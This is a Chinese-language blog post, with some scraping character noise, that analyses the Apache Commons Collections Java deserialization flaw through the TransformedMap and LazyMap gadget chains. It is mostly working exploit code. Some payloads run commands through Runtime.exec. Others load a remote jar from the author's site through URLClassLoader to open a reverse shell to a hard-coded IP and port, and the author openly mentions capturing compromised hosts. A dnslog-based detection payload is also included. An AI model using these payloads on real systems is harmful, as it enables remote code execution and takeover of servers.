JAVA Apache-CommonsCollections 序列化漏洞分析以及漏洞高級利用

做者: 隨風 java


漏洞原理分析

該漏洞的出現的根源在CommonsCollections組件中對於集合的操做存在能夠進行反射調用的方法,而且該方法在相關對象反序列化時並未進行任何校驗,新版本的修復方案對相關反射調用進行了限制。 git

問題函數主要出如今org.apache.commons.collections.Transformer接口上,咱們能夠看到該接口值定義了一個方法

咱們能夠看到該方法的做用是給定一個Object對象通過轉換後同時也返回一個Object,咱們來看看該接口有哪些實現類

這些transformer的實現類中,咱們一眼就看到了這裏的InvokerTransformer,搞JAVA的對invoke這個詞應該比較敏感,咱們跟進這個實現類去看看具體的實現,

咱們能夠看到該該方法中採用了反射的方法進行函數調用,Input參數爲要進行反射的對象(反射相關的知識就不在這贅述了),iMethodName,iParamTypes爲調用的方法名稱以及該方法的參數類型,iArgs爲對應方法的參數,在invokeTransformer這個類的構造函數中咱們能夠發現,這三個參數均爲可控參數 github


public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
       super();
       iMethodName = methodName;
       iParamTypes = paramTypes;
       iArgs = args;
   }



那麼如今核心的問題就是尋找哪些類調用了Transformer接口中的transform方法,經過eclipse咱們找到了如下類調用了該方法

這裏咱們能夠看到有兩個比較明顯的類調用了transform方法,分別是 web

  • LazyMap
  • TransformedMap

LazyMap構造POC

這裏對於網上給出的POC使用的是LazyMap來進行構造,其實這裏TransformedMap構造更爲簡單,由於觸發條件比較簡單,後面會具體分析。
這裏以網上給出的POC來進行分析,畢竟你們都在用麼。 shell

這裏LazyMap實現了Map接口,其中的get(Object)方法調用了transform方法,跟進函數進去 apache


public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}



這裏能夠看到,在調用transform方法以前會先判斷當前Map中是否已經有該key,若是沒有最終會由這裏的factory.transform進行處理,我嗎繼續跟蹤下facory這個變量看看該變量是再哪被初始化的, 服務器


public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}



這裏的decorate方法會對factory進行初始化,同時實例化一個LazyMap,到這裏就比較有意思了。 app

爲了能成功調用transform方法,咱們找到了LazyMap方法,發如今get()方法中調用了該方法,因此說如今漏洞利用的核心條件就是去尋找一個類,在對象進行反序列化時會調用咱們精心構造對象的get(Object)方法,老外在這裏找到了一個方法的確能在反序列化時觸發LazyMap的get(Object)方法,老外的這種精神必須佩服! eclipse

如今重點如今轉移到sun.reflect.annotation.AnnotationInvocationHandler類上,咱們看看在該類進行反序列化的時候到底是如何觸發漏洞代碼的。 jvm

跟進sun.reflect.annotation.AnnotationInvocationHandler的源代碼

在反序列的時候程序首先會調用調用readObject這個方法,咱們首先看看這個readObject方法

這裏的memberValues是咱們經過構造AnnotationInvocationHandler 構造函數初始化的變量,也就是咱們構造的lazymap對象,這裏咱們只須要找到一個memberValues.get(Object)的方法便可觸發該漏洞,可是惋惜的是該方法裏面並無這個方法。

到這裏,在老外給的POC裏面,有一個Proxy.newInstance(xx)的方法,不少人可能不太明白老外爲何這裏須要用到動態代理,這裏也就是POC的精華之處了,咱們在readObject方法中並未找到lazymap的get方法,可是咱們繼續在sun.reflect.annotation.AnnotationInvocationHandler類裏面找看看那個方法調用了memberValues.get(Object)方法,很幸運咱們發如今invoke方法中memberValues.get(Object)被調用

這裏你們應該能明白老外爲何要用動態代理來進行構造POC了,由於AnnotationInvocationHandler默認實現了InvocationHandler接口,在用Object iswin=Proxy.newInstance(classloader,interface,InvocationHandler)生成動態代理後,當對象iswin在進行對象調用時,那麼就會調用InvocationHandler.invoke(xx)方法,因此POC的執行流程爲map.xx->proxy(Map).invoke->lazymap.get(xx) 就會觸發transform方法從而執行惡意代碼。

這裏的ChainedTransformer爲鏈式的Transformer,會挨個執行咱們定義的Transformer,這裏比較簡單,有興趣本身去看源碼就知道。

TransformedMap構造POC

這裏若是使用TransformedMap來進行POC的構造就很是簡單了,咱們跟進TransformedMap的checkSetValue方法


protected Object checkSetValue(Object value) {
       return valueTransformer.transform(value);
   }



咱們繼續看checkSetValue被那個函數所調用,在MapEntry類中的setValue剛好調用了checkSetValue,這裏直接觸發了tranform函數,用TransformedMap來構造POC爲何說比LazyMap好呢,那是由於這裏觸發的條件比較簡單,咱們能夠在sun.reflect.annotation.AnnotationInvocationHandler中的readObject(xxx)

這裏咱們明顯能夠看到memberValue.setValue(xxx)方法,因此咱們只須要構造一個不爲空的TransformedMap,在AnnotationInvocationHandler.readObject(xx)事就會觸發漏洞,須要注意,這裏的觸發的類爲AnnotationInvocationHandler,在觸發漏洞事會對type進行檢查,因此在transformer的時候咱們要講type設置爲annotation類型。

因此這裏POC執行流程爲TransformedMap->AnnotationInvocationHandler.readObject()->setValue()->checkSetValue()漏洞成功觸發。

利用代碼


import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

/**
 * @ClassName: Main.java
 * @Description: TODO
 * @author iswin
 * @email admin@iswin.org
 * @Date 2015年11月8日 下午12:12:13
 */
public class Main {

	public static Object Reverse_Payload(String execArgs) throws Exception {
		final Transformer[] transforms = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] { String.class,
						Class[].class }, new Object[] { "getRuntime",
						new Class[0] }),
				new InvokerTransformer("invoke", new Class[] { Object.class,
						Object[].class }, new Object[] { null, new Object[0] }),
				new InvokerTransformer("exec", new Class[] { String.class },
						execArgs), new ConstantTransformer(1) };

		Transformer transformerChain = new ChainedTransformer(transforms);
		Map innermap = new HashMap();
		innermap.put("value", "value");
		Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

		Class cls = Class
				.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
		ctor.setAccessible(true);
		Object instance = ctor.newInstance(Retention.class, outmap);
		return instance;

	}

	public static void main(String[] args) throws Exception {
		GeneratePayload(Reverse_Payload("cmd"),
				"/Users/iswin/Downloads/test.bin");
	}

	public static void GeneratePayload(Object instance, String file)
			throws Exception {
		File f = new File(file);
		ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
		out.writeObject(instance);
		out.flush();
		out.close();
	}

	public static void payloadTest(String file) throws Exception {
		// 這裏爲測試上面的tansform是否會觸發payload
		// Map.Entry onlyElement =(Entry) outmap.entrySet().iterator().next();
		// onlyElement.setValue("foobar");
		
		ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
		in.readObject();
		in.close();
	}
}



漏洞高級利用

如今網上給出的poc只能執行命令或者寫個文件之類的,本文將介紹一種通用的漏洞利用方法,只要服務器能夠出網,就能夠進行任何操做,例如反彈個shell,寫文件?固然還有抓雞等。

漏洞原理什麼的在上面已經分析過了,網上的POC都是調用RunTime.getRuntime().exec(「cmdxx」),不少人在問這個漏洞執行命令後能不能回顯,對於回顯,其實就是想辦法拿到容器的response,可是很是遺憾,我在對jboss進行測試時並未找到一種方式能夠獲取噹噹前請求的response,其餘容器就不清楚了,理論上只要找到一個方法能夠獲取到當前請求的response,那麼回顯就搞定了,期待有大牛來實現。

到目前爲止,咱們只能經過反射的方式來進行函數調用,若是要實現複雜的功能,估計構造POC會把人折磨死,因此是否是有一種通用的方法去加載咱們的payload呢。

在java中有個URLClassLoader類,關於該類的做用你們本身去百度,簡單說就是遠程加載class到本地jvm中,說到這,我想稍微明白一點的就知道怎麼作了,這裏不廢話了,文章寫得累死了,直接給出POC吧,至於具體怎麼利用,如何實現抓雞等,明白人天然就明白。

反彈shell

反彈shell的原理,經過classload從我博客遠程加載一個http://www.isiwn.org/attach/iswin.jar文件,而後進行實例化,博客上的jar文件裏面包含了反彈shell的腳本,將類加載到本地後實例化實例化時在構造方法中執行反彈shell的payload。

直接上代碼

LazyMap的實現方式

我已經對網上的poc進行了修改,修改的更加容易閱讀,方便你們學習。

package ysoserial.payloads;


import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


public class CommonsCollections1{

	public InvocationHandler getObject(final String ip) throws Exception {
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
				new Transformer[] { new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(java.net.URLClassLoader.class),
				// getConstructor class.class classname
				new InvokerTransformer("getConstructor",
						new Class[] { Class[].class },
						new Object[] { new Class[] { java.net.URL[].class } }),
				// newinstance string http://www.iswin.org/attach/iswin.jar
				new InvokerTransformer(
						"newInstance",
						new Class[] { Object[].class },
						new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
								"http://www.iswin.org/attach/iswin.jar") } } }),
				// loadClass String.class R
				new InvokerTransformer("loadClass",
						new Class[] { String.class }, new Object[] { "R" }),
				// set the target reverse ip and port
				new InvokerTransformer("getConstructor",
						new Class[] { Class[].class },
						new Object[] { new Class[] { String.class } }),
				// invoke
				new InvokerTransformer("newInstance",
						new Class[] { Object[].class },
						new Object[] { new String[] { ip } }),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		//this will generate a AnnotationInvocationHandler(Override.class,lazymap) invocationhandler
		InvocationHandler invo = (InvocationHandler) getFirstCtor(
				"sun.reflect.annotation.AnnotationInvocationHandler")
				.newInstance(Retention.class, lazyMap);
		//generate object which implements specifiy interface 
		final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this
				.getClass().getClassLoader(), new Class[] { Map.class }, invo));
		
		final InvocationHandler handler = (InvocationHandler) getFirstCtor(
				"sun.reflect.annotation.AnnotationInvocationHandler")
				.newInstance(Retention.class, mapProxy);

		setFieldValue(transformerChain, "iTransformers", transformers);

		return handler;
	}

	public static Constructor<?> getFirstCtor(final String name)
			throws Exception {
		final Constructor<?> ctor = Class.forName(name)
				.getDeclaredConstructors()[0];
		ctor.setAccessible(true);
		return ctor;
	}

	public static Field getField(final Class<?> clazz, final String fieldName)
			throws Exception {
		Field field = clazz.getDeclaredField(fieldName);
		if (field == null && clazz.getSuperclass() != null) {
			field = getField(clazz.getSuperclass(), fieldName);
		}
		field.setAccessible(true);
		return field;
	}

	public static void setFieldValue(final Object obj, final String fieldName,
			final Object value) throws Exception {
		final Field field = getField(obj.getClass(), fieldName);
		field.set(obj, value);
	}

	public static void main(final String[] args) throws Exception {

		final Object objBefore = CommonsCollections1.class.newInstance()
				.getObject("10.18.180.34:8080");

		//deserialize(serialize(objBefore));
		
		File f = new File("/Users/iswin/Downloads/payloadsfinal.bin");
		ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
		out.writeObject(objBefore);
		out.flush();
		out.close();
	}
}



效果

TransformedMap的實現方式

直接上代碼

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

/**
 * @ClassName: Main.java
 * @Description: TODO
 * @author iswin
 * @email admin@iswin.org
 * @Date 2015年11月8日 下午12:12:13
 */
public class Main {

	public static Object Reverse_Payload(String ip, int port) throws Exception {
		final Transformer[] transforms = new Transformer[] {
				new ConstantTransformer(java.net.URLClassLoader.class),
				// getConstructor class.class classname
				new InvokerTransformer("getConstructor",
						new Class[] { Class[].class },
						new Object[] { new Class[] { java.net.URL[].class } }),
				// newinstance string http://www.iswin.org/attach/iswin.jar
				new InvokerTransformer(
						"newInstance",
						new Class[] { Object[].class },
						new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
								"http://www.iswin.org/attach/iswin.jar") } } }),
				// loadClass String.class R
				new InvokerTransformer("loadClass",
						new Class[] { String.class }, new Object[] { "R" }),
				// set the target reverse ip and port
				new InvokerTransformer("getConstructor",
						new Class[] { Class[].class },
						new Object[] { new Class[] { String.class } }),
				// invoke
				new InvokerTransformer("newInstance",
						new Class[] { Object[].class },
						new Object[] { new String[] { ip + ":" + port } }),
				new ConstantTransformer(1) };

		Transformer transformerChain = new ChainedTransformer(transforms);
		Map innermap = new HashMap();
		innermap.put("value", "value");
		Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

		Class cls = Class
				.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
		ctor.setAccessible(true);
		Object instance = ctor.newInstance(Retention.class, outmap);
		return instance;

	}

	public static void main(String[] args) throws Exception {
		GeneratePayload(Reverse_Payload("146.185.182.237", 8090),
				"/Users/iswin/Downloads/test.bin");
	}

	public static void GeneratePayload(Object instance, String file)
			throws Exception {
		File f = new File(file);
		ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
		out.writeObject(instance);
		out.flush();
		out.close();
	}

	public static void payloadTest(String file) throws Exception {
		// 這裏爲測試上面的tansform是否會觸發payload
		// Map.Entry onlyElement =(Entry) outmap.entrySet().iterator().next();
		// onlyElement.setValue("foobar");
		
		ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
		in.readObject();
		in.close();
	}
}

漏洞檢測?

這裏提供一個poc供你們進行檢測,其實就是發送一個http請求到指定ip,而後參數中帶有特定特徵來判斷是否存在漏洞,直接觀察日誌就能夠了。

package iswin;

import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

public class CommonsCollections1 {

	public InvocationHandler getObject(final String ip) throws Exception {
		final Transformer transformerChain = new ChainedTransformer(
				new Transformer[] { new ConstantTransformer(1) });

		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(java.net.URL.class),
				new InvokerTransformer("getConstructor",
						new Class[] { Class[].class },
						new Object[] { new Class[] { String.class } }),
				new InvokerTransformer("newInstance",
						new Class[] { Object[].class },
						new Object[] { new String[] { ip } }),
				new InvokerTransformer("openStream", new Class[] {},
						new Object[] {}), new ConstantTransformer(1) };

		// final Map innerMap = new HashMap();
		//
		// final Map lazyMap = LazyMap.decorate(new HashMap(),
		// transformerChain);

		// this will generate a
		// AnnotationInvocationHandler(Override.class,lazymap) invocationhandler
		InvocationHandler invo = (InvocationHandler) getFirstCtor(
				"sun.reflect.annotation.AnnotationInvocationHandler")
				.newInstance(Override.class,
						LazyMap.decorate(new HashMap(), transformerChain));

		final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this
				.getClass().getClassLoader(), new Class[] { Map.class }, invo));

		final InvocationHandler handler = (InvocationHandler) getFirstCtor(
				"sun.reflect.annotation.AnnotationInvocationHandler")
				.newInstance(Override.class, mapProxy);

		setFieldValue(transformerChain, "iTransformers", transformers);

		return handler;
	}

	public static Constructor<?> getFirstCtor(final String name)
			throws Exception {
		final Constructor<?> ctor = Class.forName(name)
				.getDeclaredConstructors()[0];
		ctor.setAccessible(true);
		return ctor;
	}

	public static Field getField(final Class<?> clazz, final String fieldName)
			throws Exception {
		Field field = clazz.getDeclaredField(fieldName);
		if (field == null && clazz.getSuperclass() != null) {
			field = getField(clazz.getSuperclass(), fieldName);
		}
		field.setAccessible(true);
		return field;
	}

	public static void setFieldValue(final Object obj, final String fieldName,
			final Object value) throws Exception {
		final Field field = getField(obj.getClass(), fieldName);
		field.set(obj, value);
	}

	public static void main(final String[] args) throws Exception {

		final Object objBefore = CommonsCollections1.class.newInstance()
				.getObject("http://abc.333d61.dnslog.info/tangscan/iswin.jpg");

		File f = new File("/Users/iswin/Downloads/hello.bin");
		ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
		out.writeObject(objBefore);
		out.flush();
		out.close();

		// Serializables.deserialize(Serializables.serialize(objBefore));
	}
}




參考資料

[1] :https://github.com/frohoff/ysoserial/
[2] :http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss

相關文章
相關標籤/搜索